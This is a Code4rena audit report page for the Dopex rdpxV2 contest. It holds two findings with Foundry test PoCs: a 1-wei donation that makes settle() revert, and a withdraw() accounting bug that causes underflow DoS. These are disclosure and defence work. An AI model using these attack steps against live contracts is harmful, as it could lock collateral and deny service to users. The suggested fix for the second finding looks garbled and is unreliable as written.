Platform: Code4rena
Start Date: 21/08/2023
Pot Size: $125,000 USDC
Total HM: 26
Participants: 189
Period: 16 days
Judge: GalloDaSballo
Total Solo HM: 3
Id: 278
League: ETH
Rank: 157/189
Findings: 2
Award: $0.08
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: klau5
Also found by: 0x3b, 0xCiphky, 0xDING99YA, 0xWaitress, 0xbranded, 0xc0ffEE, 0xklh, 0xsurena, 0xvj, ABA, AkshaySrivastav, Anirruth, Aymen0909, Baki, Blockian, BugzyVonBuggernaut, DanielArmstrong, Evo, GangsOfBrahmin, HChang26, Inspex, Jiamin, Juntao, Kow, Krace, KrisApostolov, LFGSecurity, LokiThe5th, Mike_Bello90, Norah, Nyx, QiuhaoLi, RED-LOTUS-REACH, SBSecurity, Snow24, SpicyMeatball, T1MOH, Tendency, Toshii, Udsen, Yanchuan, __141345__, ak1, asui, auditsea, ayden, bart1e, bin2chen, blutorque, carrotsmuggler, chaduke, chainsnake, circlelooper, clash, codegpt, crunch, degensec, dirk_y, ge6a, gjaldon, grearlake, jasonxiale, juancito, ke1caM, kodyvim, kutugu, ladboy233, lanrebayode77, mahdikarimi, max10afternoon, mert_eren, nirlin, nobody2018, oakcobalt, parsely, peakbolt, pks_, pontifex, ravikiranweb3, rokinot, rvierdiiev, said, savi0ur, sces60107, sh1v, sl1, spidy730, tapir, tnquanghuy0512, ubermensch, visualbits, volodya, wintermute
0.0098 USDC - $0.01
https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L764-L783 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L359-L361 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L199-L205
In settle logics, RdpxV2Core
contract calls to PerpetualAtlanticVault.settle()
to update funding, burn option tokens and do some token settles. However, the logic could be reverted in the call IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).subtractLoss(ethAmount)
because of donation attack vector. An attacker could transfer only 1 wei to PerpetualAtlanticVaultLP
contract to make the logic in function PerpetualAtlanticVaultLP.subtractLoss
get reverted.
So far, the impacts could be: 1.collateral get locked there; 2.protocol's settling function get DoS; 3. Pay funding for PerpetualAtlanticVault
blocked
diff --git a/tests/rdpxV2-core/Unit.t.sol b/tests/rdpxV2-core/Unit.t.sol index e11c284..a85c296 100644 --- a/tests/rdpxV2-core/Unit.t.sol +++ b/tests/rdpxV2-core/Unit.t.sol @@ -333,6 +333,24 @@ contract Unit is ERC721Holder, Setup { ); } + function testSettle_DoS() public { + rdpxV2Core.bond(5 * 1e18, 0, address(this)); + rdpxV2Core.bond(1 * 1e18, 0, address(this)); + + vault.addToContractWhitelist(address(rdpxV2Core)); + uint256[] memory _ids = new uint256[](1); + _ids[0] = 0; + rdpxPriceOracle.updateRdpxPrice(1e7); + + address attacker = vm.addr(1337); + deal(address(weth), attacker, 1 ether); + vm.startPrank(attacker); + weth.transfer(address(vaultLp), 1); + vm.stopPrank(); + vm.expectRevert("Not enough collateral was sent out"); + rdpxV2Core.settle(_ids); + } + function testWithdraw() public { rdpxV2Core.addToDelegate(1 * 1e18, 10e8);
Foundry
Consider changing the way to track loss in PerpetualAtlanticVaultLP
i.e: use ERC20#transfer()
to transfer token from PerpetualAtlanticVaultLP
to RdpxV2Core
contract and then calculate loss within the same function instead of using PerpetualAtlanticVault
to call ERC20#transferFrom
DoS
#0 - c4-pre-sort
2023-09-09T09:55:12Z
bytes032 marked the issue as duplicate of #619
#1 - c4-pre-sort
2023-09-11T16:14:25Z
bytes032 marked the issue as sufficient quality report
#2 - GalloDaSballo
2023-10-20T19:28:33Z
Coded POC
#3 - c4-judge
2023-10-20T19:32:41Z
GalloDaSballo marked issue #1227 as primary and marked this issue as a duplicate of 1227
#4 - c4-judge
2023-10-21T07:12:41Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: 0xrafaelnicolau
Also found by: 0x111, 0xCiphky, 0xMosh, 0xWaitress, 0xc0ffEE, 0xkazim, 0xnev, 0xvj, ABAIKUNANBAEV, Aymen0909, Baki, ElCid, HChang26, HHK, Inspex, Jorgect, Kow, Krace, KrisApostolov, LFGSecurity, MiniGlome, Nyx, QiuhaoLi, RED-LOTUS-REACH, Talfao, Toshii, Vagner, Viktor_Cortess, Yanchuan, _eperezok, asui, atrixs6, bart1e, bin2chen, carrotsmuggler, chaduke, chainsnake, deadrxsezzz, degensec, dethera, dimulski, dirk_y, ether_sky, gizzy, glcanvas, grearlake, gumgumzum, halden, hals, kodyvim, koo, ladboy233, lanrebayode77, max10afternoon, minhtrng, mussucal, nobody2018, peakbolt, pontifex, qbs, ravikiranweb3, rvierdiiev, said, tapir, ubermensch, volodya, wintermute, yashar, zaevlad, zzebra83
0.0734 USDC - $0.07
Function RdpxV2Core#withdraw()
lets delegate owners withdraw their unused WETH. However, withdrawn amount is not deducted from totalWethDelegated
, which causes WETH asset reserve tracked improperly.
The impacts could be:
sync
gets reverted when totalWethDelegated
is greater than token balancesync()
function, other logics get affected:
a. lowerDepeg
could get reverted because of underflowed at line reserveAsset[reservesIndex["WETH"]].tokenBalance -= _wethAmount;
b. function provideFunding
could get reverted because of underflowed
...So far, many functions would get DoS
diff --git a/tests/rdpxV2-core/Unit.t.sol b/tests/rdpxV2-core/Unit.t.sol index e11c284..710e5b3 100644 --- a/tests/rdpxV2-core/Unit.t.sol +++ b/tests/rdpxV2-core/Unit.t.sol + function testWithdraw_NotDecreaseTotalDelegated() public { + rdpxV2Core.addToDelegate(1 * 1e18, 10e8); + rdpxV2Core.withdraw(0); + + // sync() get revert due to underflowed + vm.expectRevert(); + rdpxV2Core.sync(); + + dpxETH.approve(address(curvePool), 200 * 1e18); + dpxETH.mint(address(this), 200 * 1e18); + address coin0 = IStableSwap(curvePool).coins(0); + if (coin0 == address(weth)) { + IStableSwap(curvePool).exchange(1, 0, 110 * 1e18, 0); + } else { + IStableSwap(curvePool).exchange(0, 1, 110 * 1e18, 0); + } + + rdpxV2Core.bond(5 * 1e18, 0, address(1)); + rdpxV2Core.sync(); + dpxEthPriceOracle.updateDpxEthPrice(98137847); + (, uint256 wethReserve1, ) = rdpxV2Core.getReserveTokenInfo("WETH"); + + vm.expectRevert(); + rdpxV2Core.lowerDepeg(0, 1e18, 0, 0); + } + function testUpperDepeg() public { // test upper depeg while price is lower than depeg vm.expectRevert(
Foundry, Manual review
Add totalWethDelegated -= totalWethDelegated += _amount;
to function withdraw
Other
#0 - c4-pre-sort
2023-09-07T07:22:42Z
bytes032 marked the issue as duplicate of #2186
#1 - c4-pre-sort
2023-09-07T07:25:20Z
bytes032 marked the issue as sufficient quality report
#2 - GalloDaSballo
2023-10-17T17:24:24Z
Main because of POC
#3 - c4-judge
2023-10-20T15:59:28Z
GalloDaSballo marked the issue as selected for report
#4 - c4-judge
2023-10-20T17:52:36Z
GalloDaSballo marked issue #1788 as primary and marked this issue as a duplicate of 1788
#5 - c4-judge
2023-10-20T17:55:31Z
GalloDaSballo changed the severity to 2 (Med Risk)
#6 - c4-judge
2023-10-20T19:50:28Z
GalloDaSballo marked the issue as satisfactory
#7 - c4-judge
2023-10-21T07:38:54Z
GalloDaSballo changed the severity to 3 (High Risk)
#8 - c4-judge
2023-10-21T07:39:51Z
GalloDaSballo marked the issue as partial-50